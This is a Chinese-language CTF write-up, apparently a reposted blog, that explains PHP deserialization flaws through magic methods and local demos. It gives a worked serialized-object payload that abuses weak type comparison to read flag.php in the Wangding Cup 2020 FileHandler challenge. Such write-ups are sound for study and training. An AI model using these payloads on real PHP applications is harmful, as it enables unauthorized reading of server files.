37-WEB漏洞-反序列化之PHPJAVA全解(上)

news2025/5/24 8:46:32

WEB漏洞-反序列化之PHP&JAVA全解(上)

  • 一、PHP 反序列化原理
  • 二、案例演示
    • 2.1、无类测试
      • 2.1.1、本地
      • 2.1.2、CTF 反序列化小真题
      • 2.1.3、CTF 反序列化类似题
    • 2.2、有类魔术方法触发
      • 2.2.1、本地
      • 2.2.2、网鼎杯 2020 青龙大真题
  • 三、参考资料

在这里插入图片描述
在这里插入图片描述

一、PHP 反序列化原理

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

__construct()	//创建对象时触发
__destruct() 	//对象被销毁时触发
__call() 			//在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() 			//用于从不可访问的属性读取数据
__set() 			//用于将数据写入不可访问的属性
__isset() 		//在不可访问的属性上调用 isset()或 empty()触发
__unset() 		//在不可访问的属性上使用 unset()时触发
__invoke() 		//当脚本尝试将对象调用为函数时触发

二、案例演示

在这里插入图片描述

2.1、无类测试

2.1.1、本地

  • unserialize2.php
<?php
    error_reporting(0);
    include "flag.php";
    $KEY = "xiaodi";
    $str = $_GET['str'];
    if (unserialize($str) === "$KEY")
    {
        echo "$flag";
    }

    show_source(__FILE__);
  • flag.php
<?php
    $flag='flag{flag_is_here}';
?>
  • serialize在这里插入图片描述

  • unserialize
    在这里插入图片描述

  • 演示:
    在这里插入图片描述

在这里插入图片描述

  • 一点改动:
    在这里插入图片描述
    在这里插入图片描述

2.1.2、CTF 反序列化小真题

  • 链接:
  • 题目:点login咋没反应
    在这里插入图片描述

1、可用发现登录按钮无法使用,只是一个摆设。
在这里插入图片描述

2、查看网页源代码,发现有一个href="admin.css"的可疑信息:

在这里插入图片描述
3、点进去查看,发现提示:
在这里插入图片描述
4、在url后面加上?23727,发现有反馈。
在这里插入图片描述

5、分析代码,可以得出:要想得到flag的值,要让COOKIE的值与KEY的值相等。同时还要满足一个条件:URL上不能够出现23727这个参数,否则执行的是显示源文件的信息,而不是flag的值。

6、抓包,并添加Cookie
在这里插入图片描述

7、获得flag的值。
在这里插入图片描述

2.1.3、CTF 反序列化类似题

在这里插入图片描述
1、在URL后面添上?hint可以查看到代码。
在这里插入图片描述

2、比较COOKIE的值与KEY的值是否相等时,存在一个陷阱。
在这里插入图片描述
3、使用KEY为空的值,进行反序列化。
在这里插入图片描述
在这里插入图片描述
4、获得flag。
在这里插入图片描述

2.2、有类魔术方法触发

2.2.1、本地

  • unserialize3.php
<?php
    class ABC{
        public $test;
        function __construct(){
            $test = 1;
            echo '调用了构造函数<br>';
        }

        function __destruct(){
			echo '调用了析构函数<br>';
		}
		
        function __wakeup(){
			echo '调用了苏醒函数<br>';
		}
    }
    echo '创建对象a<br>';
    $a = new ABC;
    echo '序列化<br>';
    $a_ser=serialize($a);
    echo '反序列化<br>';
    $a_unser=unserialize($a_ser);
    echo '对象快死了<br>';

在这里插入图片描述

2.2.2、网鼎杯 2020 青龙大真题

  • 题目链接:https://www.ctfhub.com/#/challenge
    在这里插入图片描述

1、进入环境:
在这里插入图片描述

 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

2、分析代码:

  • 主函数(传递参数有效就将参数反序列化):
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 类之前(包含文件,高亮源代码):
include("flag.php");

highlight_file(__FILE__);
  • 类的源代码
// 	- 第一:获取 flag 存储 flag.php
//	- 第二:两个魔术方法__destruct __construct

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
// 	- 第三:传输 str 参数数据后触发 destruct(反序列化之后,相当于添加了一个对象(但是不会触发construct方法,因为是反序列化得来的)。但是会在最后触发destruct方法),存在 is_valid 过滤(如果OP===2,赋值为1;否则就将content赋值为空,调用process方法) 
    
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
// - 第四:__destruct 中会调用 process,其中 op=1 就写入, op=2 就调用读取方法并且赋值给res,再打印res(output()为打印),否则就输出坏黑客。

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

	// 写入(OP=1写入)
	// ---如果filename和content都存在,并且content的长度小于100,就将content写入filename,并且输出成功。否则输出失败。
	
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

	// #读取(OP=2读取)
	// ---如果filename存在,就读取文件。并且打印读取的内容。

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
	
 // - 第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出。
  • 原理解析(涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过)

    • 使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。
    • __destruct 函数对$this->op 进行了===判断并内容在 2 字符串时会赋值为 1(但是process 函数中使用==$this->op 进行判断(为 2 的情况下才能读取内容))
    • 因此这里存在弱类型比较,可以使用数字 2字符串' 2'绕过判断。
    • is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后成员也会被 public 覆盖修饰。
  • 总结:

    • 传参str --> destruct方法(强类型对比)
    • op值对比 === 对比类型和值
    • op=’ 2’(字符串);op=‘2’ 两者不相等,不成立
    • 成立,强制op=1,反之op=自己设置的值
    • process()弱类型对比,将’ 2’‘2’对比是一致的

3、分析并构造payload:(protected会在前后加上 %00
在这里插入图片描述

?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
  • 如果使用protected
    在这里插入图片描述

4、运行。
在这里插入图片描述

5、查看网页源代码,获得flag。
在这里插入图片描述

5、更多解法。
https://blog.csdn.net/qq_36438489/article/details/106230811

三、参考资料

  • https://www.cnblogs.com/20175211lyz/p/11403397.html
  • http://www/dooccn.com/php/
  • https://www.ctfhub.com/#/challenge
  • http://php.jsrun.net/php/t/LWKKp

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1401924.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Excel新建文件打开后提示文件扩展名与文件格式不匹配

环境&#xff1a; Win10专业版 excel2016 问题描述&#xff1a; Excel新建文件打开后提示文件扩展名与文件格式不匹配 解决方案&#xff1a; 1.调出注册表编辑器&#xff0c;按层点击文件夹&#xff1a;HKEY_CURRENT_USER/Software/Microsoft/Office/12.0/Excel/Securit…

PSoc62™开发板之rtc时间获取

实验目的 1.使用PSoc62™芯片读取内部rtc时间 2.OLED屏幕显示当前时间戳 实验准备 PSoc62™开发板SSD1306 OLED模块公母头杜邦线 芯片资源 PSoC 6系列MCU时钟系统由以下几部分组成&#xff0c;PSoc62™开发板没有接外部时钟源&#xff0c;所以只能从IMO、ILO、PILO里边配…

Linux 命令大全 CentOS常用运维命令

文章目录 1、Linux 目录结构2、解释目录3、命令详解3.1、shutdown命令3.1、文件目录管理命令ls 命令cd 命令pwd 命令tree 命令mkdir 命令touch 命令cat 命令cp 命令more 命令less 命令head 命令mv 命令rm 命令ln 命令tail 命令cut命令 3.2、用户管理useradd/userdel 命令用户的…

STM32标准库——(2)GPIO输出

1.GPIO简介 GPIO&#xff08;General Purpose Input Output&#xff09;通用输入输出口可配置为8种输入输出模式引脚电平&#xff1a;0V~3.3V&#xff0c;部分引脚可容忍5V输出模式下可控制端口输出高低电平&#xff0c;用以驱动LED、控制蜂鸣器、模拟通信协议输出时序等输入模…

小程序学习-20

建议每次构建npm之前都先删除miniprogram_npm

2024最新版Python 3.12.1安装使用指南

2024最新版Python 3.12.1安装使用指南 Installation and Configuration Guide to the latest version Python 3.12.1 in 2024 By Jackson Python编程语言&#xff0c;已经成为全球最受欢迎的编程语言之一&#xff1b;它简单易学易用&#xff0c;以标准库和功能强大且广泛外挂…

Docker(十)Docker Compose

作者主页&#xff1a; 正函数的个人主页 文章收录专栏&#xff1a; Docker 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01; Docker Compose 项目 Docker Compose 是 Docker 官方编排&#xff08;Orchestration&#xff09;项目之一&#xff0c;负责快速的部署分布式…

2024PMP考试新考纲-【过程领域】近期典型真题和很详细解析(9)

华研荟继续为您分享【过程Process领域】的新考纲下的真题&#xff0c;帮助大家体会和理解新考纲下PMP的考试特点和如何应用所学的知识和常识&#xff08;经验&#xff09;来解题&#xff0c;并且举一反三&#xff0c;一次性3A通过2024年PMP考试。 2024年PMP考试新考纲-【过程领…

智能算法 | Matlab实现改进黑猩猩优化算法SLWCHOA与多个基准函数对比与秩和检验

智能算法 | Matlab实现改进黑猩猩优化算法SLWCHOA与多个基准函数对比与秩和检验 目录 智能算法 | Matlab实现改进黑猩猩优化算法SLWCHOA与多个基准函数对比与秩和检验预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现改进黑猩猩优化算法SLWCHOA与多个基准函数…

Spring Boot3整合Druid(监控功能)

目录 1.前置条件 2.导依赖 错误依赖&#xff1a; 正确依赖&#xff1a; 3.配置 1.前置条件 已经初始化好一个spring boot项目且版本为3X&#xff0c;项目可正常启动。 作者版本为3.2.2最新版 2.导依赖 错误依赖&#xff1a; 这个依赖对于spring boot 3的支持不够&#…

Linux第34步_TF-A移植的第2步_修改设备树和tf-a.tsv

在虚拟机中&#xff0c;使用VSCode打开linux /atk-mp1/atk-mp1/my-tfa/目录下tf-a.code-workspace”&#xff1b; 找到“tf-a-stm32mp-2.2.r1/fdts”目录&#xff0c;就是设备树文件所在的目录。 见下图&#xff1a; 一、修改“stm32mp157d-atk.dts” 修改后&#xff0c;见下…

文件上传笔记整理

文件上传 web渗透的核心&#xff0c;内网渗透的基础 通过上传webshell文件到对方的服务器来获得对方服务器的控制权 成功条件 文件成功上传到对方的服务器&#xff08;躲过杀软&#xff09; 知道文件上传的具体路径 上传的文件可以执行成功 文件上传的流程 前端JS对上传文件进行…

python_ACM模式《剑指offer刷题》链表1

题目&#xff1a; 面试tips&#xff1a; 询问面试官是否可以改变链表结构 思路&#xff1a; 1. 翻转链表&#xff0c;再遍历链表打印。 2. 想要实现先遍历后输出&#xff0c;即先进后出&#xff0c;因此可借助栈结构。 3. 可用隐式的栈结构&#xff0c;递归来实现。 代码…

数据库(表的基本操作)

目录 1.1 表的基本操作 1.1.1 创建表 1.1.2 表物理存储结构 1.1.3 数据类型 文本类型&#xff1a; 数字类型&#xff1a; 时间/日期类型&#xff1a; 常用的数据类型&#xff1a; 1.1.4 查看表 SHOW 命令 查看表结构&#xff1a; 1.1.5 删除表 查看表结构&#xf…

一份关于Chrome插件开发指北

目前开发v2版本开发教程可看这里 但目前谷歌浏览器强制要v3&#xff0c;本文主要是总结一些v3跟v2的不同。 为什么迁移到清单V3? 正如Chrome的文档所说: 使用MV3的扩展程序将在安全性、隐私性和性能方面得到增强;它们还可以使用MV3中采用的更现代的开放网络技术,如服务人员和…

三、Flask学习之BootSrap

三、Flask学习之BootSrap Bootstrap 是一款由Twitter团队开发的开源前端框架&#xff0c;它以响应式设计、移动端友好和丰富的组件为特色&#xff0c;为开发者提供了快速构建现代化网站和Web应用的工具。借助其灵活的栅格系统、丰富的UI组件和可定制的样式&#xff0c;Bootstr…

实现自己的mini-react

实现自己的mini-react 创建运行环境实现最简单mini-react渲染dom封装创建虚拟dom节点封装函数封装render函数对齐react 调用方式使用 jsx 任务调度器&fiber架构封装一个workLoop方法 统一提交&实现 function component统一提交实现支持 function component 进军 vdom 的…

Python语法进阶——类

Python中的数据类型都属于类。int、str、list都是Python定义好的数据类型类。 print(type(list))#<class type> print(type(list()))#<class list> 一、自定义数据类型 一、语法 class 类名():pass #类名 要求首字母大写 #()可写可省略。 #pass在这里只是用来保证…

一文详解 Berachain 测试网:全面介绍与教程,bitget wallet教程

什么是Berachain&#xff1f; Berachain&#xff08;web3.bitget.com/zh-CN/assets/berachain-wallet&#xff09;是一种尖端区块链技术&#xff0c;使用 Cosmos SDK 构建的 Layer-1&#xff0c;兼容以太坊虚拟机&#xff08;EVM&#xff09;。它基于一种独特的概念&#xff0c…

Docker(九)Docker Buildx

作者主页&#xff1a; 正函数的个人主页 文章收录专栏&#xff1a; Docker 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01; Docker Buildx Docker Buildx 是一个 docker CLI 插件&#xff0c;其扩展了 docker 命令&#xff0c;支持 [Moby BuildKit] 提供的功能。提…